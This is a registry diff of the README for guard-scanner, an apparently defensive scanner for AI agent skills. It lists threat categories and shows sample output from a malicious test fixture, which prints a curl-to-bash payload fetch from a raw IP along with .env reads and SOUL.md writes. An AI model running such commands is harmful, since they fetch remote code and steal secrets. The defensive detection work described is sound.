guard-scanner 4.0.1 β 5.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +175 -706
- package/SKILL.md +8 -26
- package/dist/__tests__/runtime.test.d.ts +2 -0
- package/dist/__tests__/runtime.test.d.ts.map +1 -0
- package/dist/__tests__/runtime.test.js +68 -0
- package/dist/__tests__/runtime.test.js.map +1 -0
- package/dist/__tests__/scanner.test.js +1 -1
- package/dist/cli.js +33 -13
- package/dist/cli.js.map +1 -1
- package/dist/index.d.ts +1 -0
- package/dist/index.d.ts.map +1 -1
- package/dist/index.js +8 -1
- package/dist/index.js.map +1 -1
- package/dist/patterns.js +1 -1
- package/dist/patterns.js.map +1 -1
- package/dist/runtime.d.ts +58 -0
- package/dist/runtime.d.ts.map +1 -0
- package/dist/runtime.js +198 -0
- package/dist/runtime.js.map +1 -0
- package/dist/scanner.d.ts +2 -1
- package/dist/scanner.d.ts.map +1 -1
- package/dist/scanner.js +67 -1
- package/dist/scanner.js.map +1 -1
- package/docs/THREAT_TAXONOMY.md +3 -3
- package/hooks/guard-scanner/plugin.ts +0 -39
- package/openclaw.plugin.json +0 -5
- package/package.json +1 -1
- package/src/cli.js +3 -1
- package/src/patterns.js +38 -21
- package/src/scanner.js +4 -1
- package/ts-src/__tests__/scanner.test.ts +1 -1
- package/ts-src/cli.ts +34 -13
- package/ts-src/index.ts +12 -0
- package/ts-src/patterns.ts +1 -1
- package/ts-src/runtime.ts +240 -0
- package/ts-src/scanner.ts +70 -1
package/README.md
CHANGED
|
@@ -1,370 +1,213 @@
|
|
|
1
|
-
|
|
2
|
-
<h1 align="center">π‘οΈ guard-scanner</h1>
|
|
3
|
-
<p align="center">
|
|
4
|
-
<strong>Security scanner for AI agent skills β catches the bad stuff before it runs</strong><br>
|
|
5
|
-
Prompt injection, identity hijacking, memory poisoning, and 20+ more threat types.<br>
|
|
6
|
-
Zero dependencies. One command. Works with OpenClaw out of the box.
|
|
7
|
-
</p>
|
|
8
|
-
<p align="center">
|
|
9
|
-
<a href="https://www.npmjs.com/package/guard-scanner"><img src="https://img.shields.io/npm/v/guard-scanner.svg?style=flat-square&color=cb3837" alt="npm version"></a>
|
|
10
|
-
<a href="https://www.npmjs.com/package/guard-scanner"><img src="https://img.shields.io/npm/dm/guard-scanner.svg?style=flat-square" alt="npm downloads"></a>
|
|
11
|
-
<a href="LICENSE"><img src="https://img.shields.io/badge/license-MIT-blue.svg?style=flat-square" alt="MIT License"></a>
|
|
12
|
-
<img src="https://img.shields.io/badge/dependencies-0-success?style=flat-square" alt="Zero Dependencies">
|
|
13
|
-
<img src="https://img.shields.io/badge/tests-133%2F133-brightgreen?style=flat-square" alt="Tests Passing">
|
|
14
|
-
<img src="https://img.shields.io/badge/OWASP_Agentic-90%25-green?style=flat-square" alt="OWASP Agentic 90%">
|
|
15
|
-
<img src="https://img.shields.io/badge/patterns-210%2B-blueviolet?style=flat-square" alt="210+ Patterns">
|
|
16
|
-
</p>
|
|
17
|
-
<p align="center">
|
|
18
|
-
<a href="#quick-start">Quick Start</a> β’
|
|
19
|
-
<a href="#threat-categories">Threat Categories</a> β’
|
|
20
|
-
<a href="#openclaw-plugin-setup-v310">OpenClaw Plugin</a> β’
|
|
21
|
-
<a href="#cicd-integration">CI/CD</a> β’
|
|
22
|
-
<a href="#plugin-api">Plugin API</a> β’
|
|
23
|
-
<a href="README_ja.md">π―π΅ ζ₯ζ¬θͺ</a>
|
|
24
|
-
</p>
|
|
25
|
-
</p>
|
|
26
|
-
|
|
27
|
-
<p align="center">
|
|
28
|
-
<img src="docs/html-report-preview.png" alt="guard-scanner HTML Report Preview" width="800">
|
|
29
|
-
<br>
|
|
30
|
-
<em>Dark Glassmorphism Dashboard β Risk gauges, severity distribution, interactive skill cards</em>
|
|
31
|
-
</p>
|
|
32
|
-
|
|
33
|
-
---
|
|
34
|
-
|
|
35
|
-
## Why This Exists
|
|
36
|
-
|
|
37
|
-
In February 2026, [Snyk's ToxicSkills audit](https://snyk.io) of 3,984 AI agent skills revealed:
|
|
38
|
-
- **36.8%** contained at least one security flaw
|
|
39
|
-
- **13.4%** had critical-level issues
|
|
40
|
-
- **76 active malicious payloads** for credential theft, backdoors, and data exfiltration
|
|
41
|
-
|
|
42
|
-
The AI agent skill ecosystem has the same supply-chain security problem that npm and PyPI had in their early days β except agent skills inherit **full shell access, file system permissions, and environment variables** of the host agent.
|
|
43
|
-
|
|
44
|
-
**guard-scanner** was born from a real 3-day identity hijack incident where an AI agent's personality files were silently overwritten by a malicious skill. There was no scanner that could detect it. Now there is. π
|
|
45
|
-
|
|
46
|
-
---
|
|
47
|
-
|
|
48
|
-
## Features
|
|
49
|
-
|
|
50
|
-
| Feature | Description |
|
|
51
|
-
|---|---|
|
|
52
|
-
| **22 Threat Categories** | Snyk ToxicSkills + OWASP Agentic Top 10 + Identity Hijack + PII + Trust Exploitation |
|
|
53
|
-
| **210+ Static Patterns** | Regex-based static analysis covering code, docs, and data files |
|
|
54
|
-
| **26 Runtime Checks** | Real-time `before_tool_call` hook β 5-layer defense (v4.0.0) |
|
|
55
|
-
| **IoC Database** | Known malicious IPs, domains, URLs, usernames, and typosquat names |
|
|
56
|
-
| **Data Flow Analysis** | Lightweight JS analysis: secret reads β network calls β exec chains |
|
|
57
|
-
| **Cross-File Analysis** | Phantom references, base64 fragment assembly, multi-file exfil detection |
|
|
58
|
-
| **Manifest Validation** | SKILL.md frontmatter analysis for dangerous capabilities |
|
|
59
|
-
| **Code Complexity** | File length, nesting depth, eval/exec density analysis |
|
|
60
|
-
| **Config Impact** | Detects modifications to OpenClaw configuration files |
|
|
61
|
-
| **Shannon Entropy** | High-entropy string detection for leaked secrets and API keys |
|
|
62
|
-
| **Dependency Chain Scan** | Risky packages, lifecycle scripts, wildcard versions, git dependencies |
|
|
63
|
-
| **4 Output Formats** | Terminal (with colors), JSON, [SARIF 2.1.0](https://sarifweb.azurewebsites.net), HTML dashboard |
|
|
64
|
-
| **Plugin API** | Extend with custom detection rules via JS modules |
|
|
65
|
-
| **Zero Dependencies** | Pure Node.js stdlib. Nothing to install, nothing to audit. |
|
|
66
|
-
| **CI/CD Ready** | `--fail-on-findings` exit code + SARIF for GitHub Code Scanning |
|
|
67
|
-
|
|
68
|
-
---
|
|
1
|
+
# guard-scanner π‘οΈ
|
|
69
2
|
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
**30 seconds to scan your skills:**
|
|
73
|
-
|
|
74
|
-
```bash
|
|
75
|
-
npx guard-scanner ./skills/
|
|
76
|
-
```
|
|
3
|
+
*The Original, Zero-Dependency Shield for the AI Agent Era.*
|
|
77
4
|
|
|
78
|
-
|
|
5
|
+
As autonomous AI agents become more prevalent, the risk of executing untrusted or malicious skills increases. **guard-scanner** is an open-source, zero-dependency static and runtime security scanner designed to help protect developers' local machines from Prompt Injections, RCEs, and Memory Poisoning.
|
|
79
6
|
|
|
80
|
-
**
|
|
7
|
+
Built collaboratively by the **[Guava Parity Institute](https://github.com/koatora20)** and the open-source community. We believe that AI safety infrastructure should be a shared, transparent, and accessible resource for everyone. We welcome contributions, feedback, and discussion from all developers!
|
|
81
8
|
|
|
82
|
-
|
|
83
|
-
# See exactly what was found and why
|
|
84
|
-
npx guard-scanner ./skills/ --verbose
|
|
85
|
-
|
|
86
|
-
# Stricter detection (catches more edge cases)
|
|
87
|
-
npx guard-scanner ./skills/ --strict
|
|
88
|
-
|
|
89
|
-
# Full audit: everything + JSON + SARIF + HTML report
|
|
90
|
-
npx guard-scanner ./skills/ --verbose --check-deps --json --sarif --html
|
|
91
|
-
```
|
|
9
|
+
**144+ static patterns + 26 runtime checks** across **22 threat categories**.
|
|
92
10
|
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
π‘οΈ guard-scanner v4.0.0
|
|
96
|
-
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
|
97
|
-
π Scanning: ./skills/
|
|
98
|
-
π¦ Skills found: 5
|
|
99
|
-
|
|
100
|
-
π΄ shady-skill β MALICIOUS (risk: 100)
|
|
101
|
-
π [CRITICAL] Reverse shell via /dev/tcp β scripts/setup.sh:7
|
|
102
|
-
π [CRITICAL] Credential exfiltration to webhook.site β scripts/helper.js:14
|
|
103
|
-
π‘ sus-skill β SUSPICIOUS (risk: 45)
|
|
104
|
-
β οΈ [HIGH] SSH private key access β scripts/deploy.sh:3
|
|
105
|
-
π’ good-skill β CLEAN (risk: 0)
|
|
106
|
-
```
|
|
11
|
+
[](https://www.npmjs.com/package/@guava-parity/guard-scanner)
|
|
12
|
+
[](LICENSE)
|
|
107
13
|
|
|
108
|
-
##
|
|
14
|
+
## Install
|
|
109
15
|
|
|
110
16
|
```bash
|
|
111
|
-
|
|
112
|
-
openclaw plugins install guard-scanner
|
|
113
|
-
|
|
114
|
-
# Or manual install:
|
|
115
|
-
npm install -g guard-scanner
|
|
17
|
+
npm install -g @guava-parity/guard-scanner
|
|
116
18
|
```
|
|
117
19
|
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
2. **Runtime guard** β `before_tool_call` hook automatically blocks dangerous operations
|
|
122
|
-
3. **3 enforcement modes** β `monitor` (log only), `enforce` (block CRITICAL), `strict` (block HIGH+CRITICAL)
|
|
20
|
+
> **Why use this?** If you are experimenting with third-party skills for your AI agents, `guard-scanner` acts as a basic safety net, helping to identify hidden prompts or dangerous execution patterns.
|
|
21
|
+
>
|
|
22
|
+
> π€ **We need your help!**: The landscape of Agentic AI threats is evolving rapidly. We are maintaining this project out of goodwill to provide a baseline defense, but we rely on community contributions to keep our pattern database updated. If you find a false positive or a new threat vector, please consider opening an issue or a pull request!
|
|
123
23
|
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
```
|
|
127
|
-
Layer 1: Threat Detection β 12 checks (shells, exfil, SSRF, AMOS, etc.)
|
|
128
|
-
Layer 2: Trust Defense β 4 checks (memory/SOUL/config tampering)
|
|
129
|
-
Layer 3: Safety Judge β 3 checks (injection, trust bypass, shutdown refusal)
|
|
130
|
-
Layer 4: Brain / Behavioral β 3 checks (research skip, blind trust, chain bypass)
|
|
131
|
-
Layer 5: Trust Exploitation β 4 checks (OWASP ASI09: authority/trust/audit abuse)
|
|
132
|
-
```
|
|
24
|
+
## Quick Start
|
|
133
25
|
|
|
134
|
-
|
|
26
|
+
```bash
|
|
27
|
+
# Scan all skills
|
|
28
|
+
guard-scanner ./skills/ --verbose
|
|
135
29
|
|
|
136
|
-
|
|
30
|
+
# Strict mode + reports
|
|
31
|
+
guard-scanner ./skills/ --strict --json --sarif --fail-on-findings
|
|
137
32
|
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
npx guard-scanner ~/.openclaw/workspace/skills --self-exclude --verbose
|
|
33
|
+
# CI/CD pipeline (stdout)
|
|
34
|
+
guard-scanner ./skills/ --format sarif --quiet | upload-sarif
|
|
141
35
|
```
|
|
142
36
|
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
## Threat Categories
|
|
146
|
-
|
|
147
|
-
guard-scanner covers **21 threat categories** derived from four sources:
|
|
148
|
-
|
|
149
|
-
| # | Category | Based On | Severity | What It Detects |
|
|
150
|
-
|---|----------|----------|----------|----------------|
|
|
151
|
-
| 1 | **Prompt Injection** | Snyk ToxicSkills | CRITICAL | Invisible Unicode (ZWSP, BiDi), homoglyphs (Cyrillic/Greek/Math), role override, system tag injection, base64 execution instructions |
|
|
152
|
-
| 2 | **Malicious Code** | Snyk ToxicSkills | CRITICAL | `eval()`, `Function()` constructor, `child_process`, reverse shells, raw sockets, sandbox detection |
|
|
153
|
-
| 3 | **Suspicious Downloads** | Snyk ToxicSkills | CRITICAL | `curl\|bash` pipes, executable downloads, password-protected archives, prerequisite fraud |
|
|
154
|
-
| 4 | **Credential Handling** | Snyk ToxicSkills | HIGH | `.env` file reads, SSH key access, wallet seed phrases, credential echo/print, `sudo` in docs |
|
|
155
|
-
| 5 | **Secret Detection** | Snyk ToxicSkills | CRITICAL | AWS Access Keys (`AKIA...`), GitHub tokens (`ghp_/ghs_`), embedded private keys, high-entropy strings |
|
|
156
|
-
| 6 | **Exfiltration** | Snyk ToxicSkills | CRITICAL | webhook.site/requestbin.com/hookbin, POST with secrets, `curl --data`, DNS tunneling |
|
|
157
|
-
| 7 | **Unverifiable Deps** | Snyk ToxicSkills | HIGH | Remote dynamic imports, non-CDN script loading |
|
|
158
|
-
| 8 | **Financial Access** | Snyk ToxicSkills | HIGH | Crypto private keys, `sendTransaction`, Stripe/PayPal/Plaid API calls |
|
|
159
|
-
| 9 | **Obfuscation** | Snyk ToxicSkills | HIGH | Hex strings, `atobβeval` chains, `String.fromCharCode`, array join, `base64 -d\|bash` |
|
|
160
|
-
| 10 | **Prerequisites Fraud** | Snyk ToxicSkills | CRITICAL | Download-in-prerequisites, terminal paste instructions |
|
|
161
|
-
| 11 | **Leaky Skills** | Snyk ToxicSkills | CRITICAL | "Save API key in memory", "Share token with user", verbatim secrets in curl, PII collection, session log export |
|
|
162
|
-
| 12 | **Memory Poisoning** | Palo Alto IBC | CRITICAL | SOUL.md/IDENTITY.md modification, agent memory writes, behavioral rule override, persistence instructions |
|
|
163
|
-
| 13 | **Prompt Worm** | Palo Alto IBC | CRITICAL | Self-replication instructions, agent-to-agent propagation, hidden instruction embedding, CSS-hidden content |
|
|
164
|
-
| 14 | **Persistence** | MITRE ATT&CK | HIGH | Scheduled tasks/cron, startup execution, LaunchAgents/systemd |
|
|
165
|
-
| 15 | **CVE Patterns** | CVE Database | CRITICAL | CVE-2026-25253 `gatewayUrl` injection, sandbox disabling, xattr Gatekeeper bypass, WebSocket origin bypass |
|
|
166
|
-
| 16 | **MCP Security** | OWASP MCP Top 10 | CRITICAL | Tool poisoning (`<IMPORTANT>`), schema poisoning (malicious defaults), token leaks, shadow server registration, SSRF metadata endpoints |
|
|
167
|
-
| 17 | **Identity Hijacking** | Original Research | CRITICAL | SOUL.md/IDENTITY.md overwrite/redirect/sed/echo/Python/Node.js writes, persona swap instructions, memory wipe, name override |
|
|
168
|
-
| 18 | **Sandbox Validation** | v1.1 | HIGH | Dangerous binary requirements in SKILL.md, overly broad file scope, sensitive env vars, exec/network declarations |
|
|
169
|
-
| 19 | **Code Complexity** | v1.1 | MEDIUM | Excessive file length (>1000 lines), deep nesting (>5 levels), high eval/exec density |
|
|
170
|
-
| 20 | **Config Impact** | v1.1 | CRITICAL | `openclaw.json` writes, exec approval bypass, exec host gateway, internal hooks modification, network wildcard |
|
|
171
|
-
| 21 | **PII Exposure** | v2.1 | CRITICAL | Hardcoded CC/SSN/phone/email (context-aware), PII logging/network send/plaintext store, Shadow AI (OpenAI/Anthropic/generic LLM), PII collection instructions (address/DOB/government ID) |
|
|
172
|
-
|
|
173
|
-
> **Categories 17β21** are unique to guard-scanner. Category 17 (Identity Hijacking) was developed from a real attack. Categories 18β20 added in v1.1.0. Category 21 (PII Exposure) added in v2.1.0 covering OWASP LLM02/LLM06.
|
|
174
|
-
|
|
175
|
-
---
|
|
37
|
+
## π Example Scan Output
|
|
176
38
|
|
|
177
|
-
|
|
39
|
+
This is actual output from scanning a malicious test skill demonstrating data exfiltration, memory poisoning, and credential theft:
|
|
178
40
|
|
|
179
|
-
|
|
41
|
+
```console
|
|
42
|
+
$ guard-scanner ./test/fixtures/malicious-skill/ --verbose
|
|
180
43
|
|
|
181
|
-
|
|
182
|
-
π‘οΈ guard-scanner v2.1.0
|
|
44
|
+
π‘οΈ guard-scanner v4.0.1
|
|
183
45
|
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
|
184
|
-
π Scanning: ./
|
|
185
|
-
π¦ Skills found:
|
|
46
|
+
π Scanning: ./test/fixtures/malicious-skill/
|
|
47
|
+
π¦ Skills found: 1
|
|
186
48
|
|
|
187
|
-
|
|
188
|
-
π’ another-skill β LOW RISK (risk: 5)
|
|
189
|
-
π‘ suspicious-one β SUSPICIOUS (risk: 45)
|
|
190
|
-
π credential-handling
|
|
191
|
-
π΄ [HIGH] Reading .env file β scripts/main.js:12
|
|
192
|
-
π΄ [HIGH] SSH key access β scripts/deploy.sh:8
|
|
193
|
-
π΄ evil-skill β MALICIOUS (risk: 100)
|
|
194
|
-
π malicious-code
|
|
195
|
-
π [CRITICAL] Reverse shell β scripts/backdoor.js:3
|
|
49
|
+
π΄ scripts β MALICIOUS (risk: 100)
|
|
196
50
|
π exfiltration
|
|
197
|
-
|
|
51
|
+
π΄ [HIGH] Suspicious domain: webhook.site β evil.js
|
|
52
|
+
π malicious-code
|
|
53
|
+
π΄ [HIGH] eval() call β evil.js:18
|
|
54
|
+
π [CRITICAL] Shell download/execution β stealer.js:19
|
|
55
|
+
ββ "exec(`curl https://91.92.242.30/payload -o /tmp/x && bash"
|
|
56
|
+
π credential-handling
|
|
57
|
+
π΄ [HIGH] Credential file read β evil.js:6
|
|
58
|
+
ββ "readFileSync('.env"
|
|
59
|
+
π [CRITICAL] Agent identity file read β evil.js:7
|
|
60
|
+
ββ "readFileSync('SOUL.md"
|
|
61
|
+
π memory-poisoning
|
|
62
|
+
π [CRITICAL] Write to agent soul file β evil.js:21
|
|
63
|
+
ββ "writeFileSync('SOUL.md"
|
|
64
|
+
π data-flow
|
|
65
|
+
π [CRITICAL] Data flow: secret read (L6) β network call (L10) β evil.js:6
|
|
198
66
|
|
|
199
67
|
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
|
200
|
-
π Scan Summary
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
π’
|
|
204
|
-
π‘ Suspicious: 1
|
|
68
|
+
π guard-scanner Scan Summary
|
|
69
|
+
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
|
70
|
+
Scanned: 1
|
|
71
|
+
π’ Clean: 0
|
|
205
72
|
π΄ Malicious: 1
|
|
206
|
-
Safety Rate:
|
|
73
|
+
Safety Rate: 0%
|
|
207
74
|
ββββββββββββββββββββββββββββββββββββββββββββββββββββββ
|
|
208
|
-
|
|
75
|
+
β οΈ CRITICAL: 1 malicious skill(s) detected!
|
|
76
|
+
```
|
|
77
|
+
|
|
78
|
+
## π Standalone Architecture
|
|
79
|
+
|
|
80
|
+
**guard-scanner** is designed as a foundational "Shield" for the OpenClaw ecosystem.
|
|
81
|
+
It features a **Standalone Boot Sequence**:
|
|
82
|
+
- **Zero API/DB Dependencies**: It initializes purely from local, static Threat Patterns (144+ regex rules) defined in its codebase.
|
|
83
|
+
- **No Heavy Context Loading**: It does *not* require loading heavy memory databases or executing contextual commands.
|
|
84
|
+
- **Privacy First**: It never accesses or exposes your agent's private memory during the boot phase.
|
|
85
|
+
|
|
86
|
+
This lightweight initialization makes it perfect for zero-trust environments, ensuring complete safety without exposing proprietary agent logic.
|
|
87
|
+
|
|
88
|
+
## Options
|
|
89
|
+
|
|
90
|
+
| Flag | Description |
|
|
91
|
+
|------|-------------|
|
|
92
|
+
| `--verbose`, `-v` | Detailed findings with categories and samples |
|
|
93
|
+
| `--strict` | Lower detection thresholds (more sensitive) |
|
|
94
|
+
| `--check-deps` | Scan `package.json` for dependency chain risks |
|
|
95
|
+
| `--soul-lock` | Enable agent identity protection (SOUL.md/MEMORY.md patterns) |
|
|
96
|
+
| `--json` | Write JSON report to file |
|
|
97
|
+
| `--sarif` | Write SARIF 2.1.0 report (GitHub Code Scanning) |
|
|
98
|
+
| `--html` | Write HTML dashboard report |
|
|
99
|
+
| `--format json\|sarif` | Print to stdout (pipeable) |
|
|
100
|
+
| `--quiet` | Suppress text output (use with `--format`) |
|
|
101
|
+
| `--self-exclude` | Skip scanning guard-scanner itself |
|
|
102
|
+
| `--summary-only` | Only print the summary table |
|
|
103
|
+
| `--rules <file>` | Load custom detection rules (JSON) |
|
|
104
|
+
| `--plugin <file>` | Load plugin module |
|
|
105
|
+
| `--fail-on-findings` | Exit code 1 if any findings (CI/CD) |
|
|
106
|
+
|
|
107
|
+
## Threat Categories (22)
|
|
108
|
+
|
|
109
|
+
| # | Category | Detects |
|
|
110
|
+
|---|----------|---------|
|
|
111
|
+
| 1 | Prompt Injection | Hidden instructions, invisible Unicode, homoglyphs, XML tag injection |
|
|
112
|
+
| 2 | Malicious Code | `eval()`, `child_process`, reverse shells, raw sockets |
|
|
113
|
+
| 3 | Suspicious Downloads | `curl\|bash`, executable downloads, password-protected archives |
|
|
114
|
+
| 4 | Credential Handling | `.env` reads, SSH keys, sudo in instructions |
|
|
115
|
+
| 5 | Secret Detection | Hardcoded API keys, AWS keys, GitHub tokens, Shannon entropy |
|
|
116
|
+
| 6 | Exfiltration | webhook.site, DNS tunneling, curl data exfil |
|
|
117
|
+
| 7 | Unverifiable Deps | Remote dynamic imports |
|
|
118
|
+
| 8 | Financial Access | Crypto transactions, payment APIs |
|
|
119
|
+
| 9 | Obfuscation | Base64βexec, hex encoding, `String.fromCharCode` |
|
|
120
|
+
| 10 | Prerequisites Fraud | Fake download/paste instructions |
|
|
121
|
+
| 11 | Leaky Skills | Secrets saved in agent memory, verbatim in commands |
|
|
122
|
+
| 12 | Memory Poisoning βΏ | SOUL.md/MEMORY.md modification, behavioral rule override |
|
|
123
|
+
| 13 | Prompt Worm | Self-replicating prompts, agent-to-agent propagation |
|
|
124
|
+
| 14 | Persistence | Cron, launchd, startup execution |
|
|
125
|
+
| 15 | CVE Patterns | CVE-2026-25253 (RCE), sandbox disabling, Gatekeeper bypass |
|
|
126
|
+
| 16 | MCP Security | Tool/schema poisoning, SSRF, shadow server registration |
|
|
127
|
+
| 16b | Trust Boundary | Calendar/email/web β code execution chains |
|
|
128
|
+
| 16c | Advanced Exfiltration | ZombieAgent static URL arrays, drip exfil, beacon |
|
|
129
|
+
| 16d | Safeguard Bypass | URL parameter injection, retry-on-block |
|
|
130
|
+
| 17 | Identity Hijacking βΏ | SOUL.md overwrite, persona swap, memory wipe |
|
|
131
|
+
| 18 | Config Impact | `openclaw.json` writes, exec approval disabling |
|
|
132
|
+
| 19 | PII Exposure | Hardcoded CC/SSN, PII logging, Shadow AI API calls |
|
|
133
|
+
| 20 | Trust Exploitation | Authority claims, creator impersonation, fake audits |
|
|
134
|
+
|
|
135
|
+
> βΏ = Requires `--soul-lock` flag (opt-in)
|
|
136
|
+
|
|
137
|
+
## Runtime Guard (26 checks, 5 layers)
|
|
138
|
+
|
|
139
|
+
Real-time `before_tool_call` hook that blocks dangerous operations.
|
|
140
|
+
|
|
141
|
+
| Layer | Name | Checks |
|
|
142
|
+
|-------|------|--------|
|
|
143
|
+
| 1 | Threat Detection | Reverse shell, curl\|bash, SSRF, credential exfil |
|
|
144
|
+
| 2 | Trust Defense | SOUL.md tampering, memory injection |
|
|
145
|
+
| 3 | Safety Judge | Prompt injection in tool args, trust bypass |
|
|
146
|
+
| 4 | Behavioral | No-research execution |
|
|
147
|
+
| 5 | Trust Exploitation (ASI09) | Authority claim, creator bypass, fake audit |
|
|
209
148
|
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
### SARIF (`--sarif`)
|
|
215
|
-
|
|
216
|
-
Writes `guard-scanner.sarif` β [SARIF 2.1.0](https://docs.github.com/en/code-security/code-scanning/integrating-with-code-scanning/sarif-support-for-code-scanning) compatible. Upload to GitHub Code Scanning:
|
|
217
|
-
|
|
218
|
-
```yaml
|
|
219
|
-
# .github/workflows/scan.yml
|
|
220
|
-
- name: Scan agent skills
|
|
221
|
-
run: npx guard-scanner ./skills/ --sarif --fail-on-findings
|
|
222
|
-
|
|
223
|
-
- name: Upload SARIF
|
|
224
|
-
uses: github/codeql-action/upload-sarif@v3
|
|
225
|
-
with:
|
|
226
|
-
sarif_file: skills/guard-scanner.sarif
|
|
149
|
+
```bash
|
|
150
|
+
# Install as OpenClaw hook
|
|
151
|
+
openclaw hooks install skills/guard-scanner/hooks/guard-scanner
|
|
152
|
+
openclaw hooks enable guard-scanner
|
|
227
153
|
```
|
|
228
154
|
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
Generates a dark-mode dashboard with stats grid and per-skill finding tables. Open in any browser.
|
|
232
|
-
|
|
233
|
-
---
|
|
155
|
+
Modes: `monitor` (log only) / `enforce` (block CRITICAL) / `strict` (block HIGH+CRITICAL)
|
|
234
156
|
|
|
235
|
-
## Risk Scoring
|
|
236
157
|
|
|
237
|
-
Each skill receives a **risk score (0β100)** based on:
|
|
238
158
|
|
|
239
|
-
|
|
240
|
-
| Severity | Weight |
|
|
241
|
-
|----------|--------|
|
|
242
|
-
| CRITICAL | 40 points |
|
|
243
|
-
| HIGH | 15 points |
|
|
244
|
-
| MEDIUM | 5 points |
|
|
245
|
-
| LOW | 2 points |
|
|
159
|
+
## OWASP Mapping
|
|
246
160
|
|
|
247
|
-
|
|
161
|
+
- **OWASP LLM Top 10 2025**: LLM01βLLM10 fully mapped
|
|
162
|
+
- **OWASP Agentic Security Top 10**: ASI01βASI10 coverage (tested)
|
|
248
163
|
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
| Combination | Multiplier | Rationale |
|
|
252
|
-
|---|---|---|
|
|
253
|
-
| Credential handling + Exfiltration | **Γ2** | Classic steal-and-send pattern |
|
|
254
|
-
| Credential handling + Command exec | **Γ1.5** | Credential-powered RCE |
|
|
255
|
-
| Obfuscation + Malicious code | **Γ2** | Hiding malicious intent |
|
|
256
|
-
| Lifecycle script exec | **Γ2** | npm supply chain attack |
|
|
257
|
-
| BiDi characters + other findings | **Γ1.5** | Text direction attack as vector |
|
|
258
|
-
| Leaky skills + Exfiltration | **Γ2** | Secret leak through LLM context |
|
|
259
|
-
| Memory poisoning | **Γ1.5** | Persistent compromise |
|
|
260
|
-
| Prompt worm | **Γ2** | Self-replicating threat |
|
|
261
|
-
| Persistence + (malicious\|credential\|memory) | **Γ1.5** | Survives session restart |
|
|
262
|
-
| Identity hijacking | **Γ2** | Core identity compromise |
|
|
263
|
-
| Identity hijacking + Persistence | **min 90** | Full agent takeover |
|
|
264
|
-
| Config impact | **Γ2** | OpenClaw configuration tampering |
|
|
265
|
-
| Config impact + Sandbox violation | **min 70** | Combined config + capability abuse |
|
|
266
|
-
| Complexity + Malicious code/Obfuscation | **Γ1.5** | Complex code hiding threats |
|
|
267
|
-
| PII exposure + Exfiltration | **Γ3** | PII being sent to external servers |
|
|
268
|
-
| PII exposure + Shadow AI | **Γ2.5** | PII leak through unauthorized LLM |
|
|
269
|
-
| PII exposure + Credential handling | **Γ2** | Combined PII + credential risk |
|
|
270
|
-
| Known IoC (IP/URL/typosquat) | **= 100** | Confirmed malicious |
|
|
271
|
-
|
|
272
|
-
### Verdict Thresholds
|
|
273
|
-
|
|
274
|
-
| Mode | Suspicious | Malicious |
|
|
275
|
-
|------|-----------|-----------|
|
|
276
|
-
| Normal | β₯ 30 | β₯ 80 |
|
|
277
|
-
| Strict (`--strict`) | β₯ 20 | β₯ 60 |
|
|
278
|
-
|
|
279
|
-
---
|
|
280
|
-
|
|
281
|
-
## Data Flow Analysis
|
|
282
|
-
|
|
283
|
-
guard-scanner performs lightweight static analysis on JavaScript/TypeScript files to detect **multi-step attack patterns** that individual regex rules miss:
|
|
164
|
+
## Test Results
|
|
284
165
|
|
|
285
166
|
```
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
|
|
291
|
-
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
|
296
|
-
|
|
|
297
|
-
|
|
|
298
|
-
|
|
|
299
|
-
|
|
300
|
-
|
|
301
|
-
|
|
302
|
-
|
|
303
|
-
|
|
304
|
-
|
|
305
|
-
|
|
306
|
-
|
|
|
307
|
-
|
|
308
|
-
|
|
|
309
|
-
|
|
|
310
|
-
|
|
|
311
|
-
|
|
|
312
|
-
| **Filenames** | `openclaw-agent.zip`, `openclawcli.zip` | Trojanized installers |
|
|
313
|
-
| **Typosquats** | `clawhub`, `polymarket-trader`, `auto-updater-agent` + 20 more | ClawHavoc, Polymarket, Snyk ToxicSkills |
|
|
314
|
-
|
|
315
|
-
Any match against the IoC database automatically sets risk to **100 (MALICIOUS)**.
|
|
316
|
-
|
|
317
|
-
---
|
|
167
|
+
βΉ tests 134
|
|
168
|
+
βΉ suites 24
|
|
169
|
+
βΉ pass 134
|
|
170
|
+
βΉ fail 0
|
|
171
|
+
βΉ duration_ms 171
|
|
172
|
+
```
|
|
173
|
+
|
|
174
|
+
| Suite | Tests |
|
|
175
|
+
|-------|-------|
|
|
176
|
+
| Malicious Skill Detection | 16 β
|
|
|
177
|
+
| Clean Skill (False Positive) | 2 β
|
|
|
178
|
+
| Risk Score Calculation | 5 β
|
|
|
179
|
+
| Verdict Determination | 5 β
|
|
|
180
|
+
| Output Formats (JSON/SARIF/HTML) | 4 β
|
|
|
181
|
+
| Pattern Database (135 patterns, 22 categories) | 4 β
|
|
|
182
|
+
| IoC Database | 5 β
|
|
|
183
|
+
| Shannon Entropy | 2 β
|
|
|
184
|
+
| Ignore Functionality | 1 β
|
|
|
185
|
+
| Plugin API | 1 β
|
|
|
186
|
+
| Skill Manifest Validation | 4 β
|
|
|
187
|
+
| Code Complexity Metrics | 2 β
|
|
|
188
|
+
| Report Noise Regression | 2 β
|
|
|
189
|
+
| Config Impact Analysis | 4 β
|
|
|
190
|
+
| PII Exposure Detection | 8 β
|
|
|
191
|
+
| OWASP Agentic Security (ASI01β10) | 14 β
|
|
|
192
|
+
| Runtime Guard (5 layers, 26 checks) | 23 β
|
|
|
318
193
|
|
|
319
194
|
## Plugin API
|
|
320
195
|
|
|
321
|
-
Extend guard-scanner with custom detection rules:
|
|
322
|
-
|
|
323
196
|
